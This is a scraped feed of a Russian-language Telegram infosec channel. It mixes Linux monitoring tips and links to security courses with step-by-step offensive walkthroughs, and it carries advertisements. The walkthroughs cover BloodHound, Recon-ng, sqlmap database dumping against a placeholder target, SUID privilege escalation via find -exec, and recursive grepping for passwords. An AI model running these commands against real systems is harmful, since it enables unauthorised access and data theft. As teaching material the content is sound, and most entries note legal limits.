CodeGuard: PySec Edition

Попробуй Claude! Сейчас все только и говорят про Claude. Я долго пользовался другими нейронками, но в итоге решил перенести все рабочие процессы именно туда. Хотелось проверить, справится ли он с рабочими задачами так же круто, как с написанием кода. Итог:

— Кодинг: тут без сюрпризов, он лучший. — Контекст: запоминает детали намного лучше, чем ChatGPT и Gemini — Агентский режим: тестировал на разных задачах, дальше чуть конкретнее

Возможности агента я решил протестировать на задаче, до которой давно не доходили руки — собрать чистое инфополе с нуля. Чтобы не перебирать паблики вручную, я зашел через функцию похожих каналов в Telegram. Скормил Claude ссылки на качественных авторов по IT и AI, которых читаю сам,и попросил проанализировать сотни выданных рекомендаций. Агент изучил контент на этих каналах и оставил только тех авторов, кто делится практическим опытом по: автоматизации, вайб-кодингу и нейрогенерации. Claude собрал полезную подборку экспертов, которую я упаковал в одну папку. Делюсь этим списком с вами — внутри только полезный контент про IT и AI. Подписка в один клик: 👉https://t.me/addlist/2Whrc1mRMUYzNmI6

🐙 Awesome Infosec — подборка курсов по кибербезопасности 🔗 GitHub Что внутри: Кураторская коллекция бесплатных образовательных ресурсов . Разделы: 🔵Stanford: Computer Security, Cryptography I/II 🔵University of Maryland: Software Security, Usable Security, Hardware Security  Для кого: Новичков и практикующих специалистов. 🔖 Сохраните — пригодится для прокачки скиллов. 😈 CodeGuard: PySec Edition | Чат

🐧 Топ-10 команд для мониторинга системы в реальном времени 1. htop — интерактивный просмотр процессов (аналог top, но красивее)

sudo apt install htop && htop

2. nethogs — показывает трафик по PID и имени процесса

sudo nethogs

3. iotop — дисковый I/O по процессам

sudo iotop

4. nmon — всё в одном: CPU, память, диск, сеть

sudo apt install nmon && nmon

5. glances — питон-скрипт с веб-интерфейсом

pip install glances && glances

6. journalctl -f — живые логи systemd

journalctl -f -u ssh

7. ss -tunp — активные сетевые соединения

ss -tunp | grep ESTAB

8. df -h — свободное место на дисках

df -h

9. du -sh / — размер папки

du -sh /var/log

10. systemctl status — статус сервиса

systemctl status nginx --no-pager

🔖 Сохраняйте. 😈 CodeGuard: PySec Edition | Чат

🩸 BloodHound — визуализация путей атак в Active Directory 🔗 GitHub ⭐️ 11k Что умеет:

🔵Находит самый короткий путь до Domain Admin 🔵Анализирует связи между пользователями, группами, компьютерами 🔵Помогает строить граф атак

Установка:

sudo apt install bloodhound
sudo neo4j start
bloodhound

Сбор данных (на Windows в домене):

SharpHound.exe -c All

Типовые запросы:

➡️ Самый короткий путь до DA ➡️ Пользователи с правами на несколько машин ➡️ Пользователи с паролями в описании

😈 CodeGuard: PySec Edition | Чат

🔐 3 инструмента для поиска секретов в Git-репозиториях 1. TruffleHog — ищет ключи, токены, пароли по всей истории Git

docker run -it -v "$PWD:/pwd" trufflesecurity/trufflehog github --repo https://github.com/target/repo

Ссылка ⭐️ 17k 2. Gitleaks — быстрый сканер с интеграцией в CI/CD

gitleaks detect --source . --verbose

Ссылка ⭐️ 17k 3. GitGuardian (CLI) — ищет 200+ типов секретов

ggshield scan path /home/project

Ссылка 💡 Совет: Запускайте на своих репозиториях перед публикацией. 😈 CodeGuard: PySec Edition | Чат

🥷 Ищем ИБ и OSINT специалистов. Релокейт, удалёнка, платим много! - Вакансии которых нет на джоб-агрегаторах - Только прямые контакты HR в Telegram 👉 @jobs_ib 🤖 ML & DS 👩‍💻 DevOps 👨‍✈️ ИБ & OSINT 👣 Go 👩‍💻 Mobile 👩‍💻 C# 👩‍💻 Node.js 👩‍💻 Python 🔎 QA 👩‍💻 Java 👩‍💻 UX/UI 👩‍💻 Frontend 🖼️ PHP 📋 Analyst 💼 1C 🖥 SQL 👩‍💻 IT HR Пока другие листают джоб-сайты — ты уже пишешь HR в Telegram.

🗞 SecurityLab — главные новости ИБ на русском 🔗 Сайт Что внутри:

➡️ Свежие CVE и уязвимости ➡️ Новости взломов и утечек ➡️ Аналитика и обзоры ➡️ Подкасты и интервью с экспертами

Почему читать: Один из немногих русскоязычных ресурсов, который оперативно переводит западные разборы и добавляет свои кейсы. Бонусный раздел — «Блоги»: Практикующие пентестеры делятся техниками, скриптами и опытом. 😈 CodeGuard: PySec Edition | Чат

🔒 Проверка безопасности Linux за 5 минут — Lynis Установка:

sudo apt install lynis

Запуск аудита:

sudo lynis audit system

Что проверяет:

⚫️Пароли и учётные записи ⚫️Права на файлы (/etc, /var, /tmp) ⚫️Сетевые настройки (SSH, firewall, открытые порты) ⚫️Логирование и доступ к логам ⚫️Наличие бэкдоров и rootkit

Пример вывода:

[+] SSH — рекомендовано использовать ключи вместо паролей
[!] /tmp не смонтирован с nodev

Фикс проблем:

sudo lynis audit system --quick
sudo lynis audit system --fix

🔥 Бонус: Lynis даёт готовый совет по каждой найденной проблеме. 😈 CodeGuard: PySec Edition | Чат

🔍 Recon-ng — OSINT-фреймворк для разведки Recon-ng — как Metasploit, но для OSINT. Модули под Twitter, LinkedIn, Shodan, GitHub, Whois. Установка:

git clone https://github.com/lanmaster53/recon-ng
cd recon-ng
pip install -r REQUIREMENTS
./recon-ng

Базовый кейс:

marketplace install all
workspace create target_company
modules load recon/domains-hosts/bing_domain_web
set source company.com
run

🔥 Кейс: Осинтер получил доступ к Jenkins, когда модуль recon/domains-hosts/hackertarget нашёл скрытый поддомен jenkins.company.com, а recon/contacts-contacts/mailtester подтвердил email техподдержки. Атака через забытый поддомен — самый частый путь. 💡 Совет: Запускайте через прокси. 😈 CodeGuard: PySec Edition | Чат

ML внутри компании: от игрушки дата-сайентистов к объекту кибербезопасности ML внутри бизнеса перестал быть экспериментом для дата-сайентистов. Сегодня это новая поверхность атаки, источник утечек, неконтролируемого доступа к данным и риска для всей инфраструктуры компании. 10 июня в Кибердоме пройдёт форум «МимоLётный кибербез», посвящённый безопасному использованию ML- и LLM-моделей во внутреннем контуре бизнеса. Форум будет полезен тем, кто отвечает за внедрение, безопасность и работу ИИ внутри компании: — CISO, CTO, CIO и IT-архитекторам — командам Data Science, ML и MLOps — владельцам AI- и LLM-продуктов — руководителям цифровых и технологических направлений Присоединяйтесь к форуму и разберите вместе с экспертами, где ML-системы становятся точкой риска для компании. 🔥 Регистрация Когда: 10 июня, 16:00–20:00 Где: Кибердом, 2-я Звенигородская ул., 12 стр. 18 #реклама О рекламодателе

🐙 CyberBox — готовая песочница с 160+ инструментами для пентеста 🔗 GitHub ⭐️ Актуально на апрель 2026 Что внутри: Docker-образ с 160+ инструментами, Caido proxy, Ollama клиент, Metasploit. В комплекте Prowlr — AI-анализ через Claude + локальную LLM, Obsidian для заметок, вывод в PDF . Фишка: Подписанные образы (Sigstore cosign), SBOM и SLSA-провенанс. Проверишь сигнатуру — не словишь троян . Запуск — docker pull ghcr.io/prowlrbot/cybersandbox 😈 CodeGuard: PySec Edition | Чат

⚡️ 10 команд Linux, которые спасут в любой ситуации 1. Найти файл по имени find / -name "config.php" 2>/dev/null 2. Искать в файлах (grep) grep -r "password" /home/ 3. Сетевая диагностика netstat -tulpn 4. Просмотр живых логов tail -f /var/log/syslog 5. Убить процесс по имени pkill -f "python evil.py" 6. Права SUID (для повышения привилегий) find / -perm -4000 2>/dev/null 7. История команд history | grep nmap 8. Зашифровать файл gpg -c secret.txt 9. Расшифровать файл gpg secret.txt.gpg 10. Освободить RAM echo 3 > /proc/sys/vm/drop_caches Сохраняйте. 😈 CodeGuard: PySec Edition | Чат

🧰 5 инструментов для OSINT, которые работают прямо в браузере Не хотите ставить ничего локально? Вот подборка — открыл вкладку и ищешь. 1. WhatsMyName — проверка юзернейма на 500+ сайтах Ссылка 2. Epieos — поиск по email и номеру телефона (Google, Skype, соцсети) Ссылка 3. IntelX — база утечек, проверка email, доменов, хешей Ссылка 4. DeHashed — поиск по слитым базам (email, логин, телефон) Ссылка 5. ReconFTW — веб-версия популярного OSINT-фреймворка Ссылка 💡 Совет: Используйте через VPN, чтобы не светить свой IP. 😈 CodeGuard: PySec Edition | Чат

🐛 Shai-Hulud: первый червь в npm, который саморазмножался В 2025 году npm пережил самую масштабную атаку в своей истории. Появился самореплицирующийся червь, названный в честь песчаного червя из «Дюны» — Shai-Hulud . Он воровал учётные данные разработчиков, внедрял бэкдоры в популярные пакеты и размножался по цепочке зависимостей. Вторая версия червя поразила 700+ пакетов с совокупной еженедельной загрузкой 20 миллионов раз . 🔗 Ссылка на видео (DEF CON / InsomniHack) 8 Что вы узнаете:

🔵Как AiTM-фишинг обходил MFA мейнтейнеров 🔵Почему proof of concept такого червя создали ещё 10 лет назад 🔵Как защитить свои проекты от supply chain-атак

Идеально для разработчиков, DevOps и всех, кто работает с open-source. 😈 CodeGuard: PySec Edition | Чат

🛡 OWASP Juice Shop — тренируй взлом легально Веб-приложение с кучей уязвимостей специально для обучения. SQLi, XSS, CSRF, инъекции, брутфорс — всё внутри. 🔗 Сайт: owasp.org/www-project-juice-shop Как начать:

docker pull bkimminich/juice-shop
docker run -d -p 3000:3000 bkimminich/juice-shop

Открыть http://localhost:3000 😈 CodeGuard: PySec Edition | Чат

💉 sqlmap — автоматический поиск SQL-инъекций за 2 минуты Шаг 1. Установка

git clone https://github.com/sqlmapproject/sqlmap.git
cd sqlmap

Шаг 2. Базовое сканирование

python sqlmap.py -u "https://target.com/page?id=1"

Шаг 3. Забираем базы данных

python sqlmap.py -u "https://target.com/page?id=1" --dbs

Шаг 4. Забираем таблицы

python sqlmap.py -u "https://target.com/page?id=1" -D имя_бд --tables

Шаг 5. Дамп таблиц

python sqlmap.py -u "https://target.com/page?id=1" -D имя_бд -T users --dump

Важно: Только на своих системах или с разрешения. За несанкционированный доступ — уголовная статья. 😈 CodeGuard: PySec Edition | Чат

📚 3 ресурса для изучения Reverse Engineering OpenSecurityTraining.info — бесплатные курсы по x86/x64, ARM, реверс-инжинирингу и эксплойтам MalwareUniverse — база статей и туториалов по анализу вредоносного ПО на русском Ghidra — альтернатива IDA Pro от АНБ 🎁 Бонус: Плейлист на YouTube «Practical Malware Analysis» от TCM Security. 😈 CodeGuard: PySec Edition | Чат

❌ Рынок труда в России Наткнулся на статистику: на обычную IT-вакансию сейчас претендуют 8 человек. Но как только в требованиях появляется владение нейросетями — конкуренция падает до 2,4 к 1. И это касается не только IT, но и маркетинга, дизайна или менеджмента. Сейчас умение работать с ИИ — решающий фактор при найме или пересмотре зарплаты. Чтобы быстрее найти работу и расти в чеке, нужно учиться внедрять технологии в свои задачи уже сейчас. Советую подписаться на экспертов, за которыми слежу сам. В одной подборке — база по внедрению нейронок в реальные проекты, секреты поиска офферов в бигтехе и гайды по запуску своих AI-сервисов с нуля. Подписывайтесь на авторов, которые раскроют ваш потенциал на максимум. IT | AI | ИБ в одном месте 🔽 https://t.me/addlist/9lIOWIFkcaJkYWZi

🐧 Как найти файлы с правами SUID (для повышения привилегий) SUID-файлы позволяют запускать программу от имени владельца. Если владелец — root, вы можете получить root-доступ. Поиск всех SUID-файлов:

find / -perm -4000 2>/dev/null

Проверка на уязвимые известные бинарники: text

find / -perm -4000 2>/dev/null | grep -E "nmap|vim|find|bash|less|more"

Пример эксплуатации (на своих виртуалках):

/usr/bin/find /etc/passwd -exec whoami \;

Если результат root — вы повысили привилегии. Что делать для защиты: Убирать SUID с ненужных файлов через chmod u-s /path/to/file 😈 CodeGuard: PySec Edition | Чат

🔓 CVE-2024-40891 — бэкдор-аккаунты в маршрутизаторах Zyxel В 17 моделях Zyxel нашли скрытые аккаунты с правами root. Их нельзя отключить, пароли простые — брутфорс за минуты. CVSS: 7.8 (High)

🔵Что под ударом: Zyxel NAS, DSL-роутеры, точки доступа. Список: NAS326, NAS542, NWA50AX, WAC500 и другие. 🔵Где искать: Проверьте сайт Zyxel, загрузите ваш IP в поисковик по модели. 🔵Что искать: Пользователи zyfwp, Printer, MFT. В логах SSH — подозрильные входы с незнакомых IP.

Как защититься: Обновите прошивку до версии с патчем. Если нет обновления — отключите удалённый доступ к админке. 😈 CodeGuard: PySec Edition | Чат